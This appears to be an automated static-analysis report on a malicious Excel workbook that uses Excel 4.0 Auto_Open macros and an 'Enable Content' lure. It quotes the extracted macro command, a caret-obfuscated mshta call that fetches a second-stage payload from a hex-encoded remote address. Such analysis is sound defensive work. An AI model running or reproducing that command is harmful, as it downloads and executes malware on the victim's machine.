Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 0f871f93c84f866b…

MALICIOUS

Office (OLE) / .XLS

64.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 3203176b32d76724b0d1b902934428c8 SHA-1: ce4ae7eeeecf8027d9bb87ba912bb6db2d6e558f SHA-256: 0f871f93c84f866b59d94a60536fe6e772dd212cbdee888244c62ba88ca73cb0
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 97-2003 Workbook containing Excel 4.0 macros, indicated by the OLE_XLM_AUTOOPEN and OLE_XLM_AUTOOPEN_DEFINEDNAME heuristics. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', aligning with the SE_ENABLE_LURE heuristic. The extracted XLM macro defines a string 'cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' and assigns it to the 'lll' name, which is then likely executed by the Auto_Open macro. This script attempts to download a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes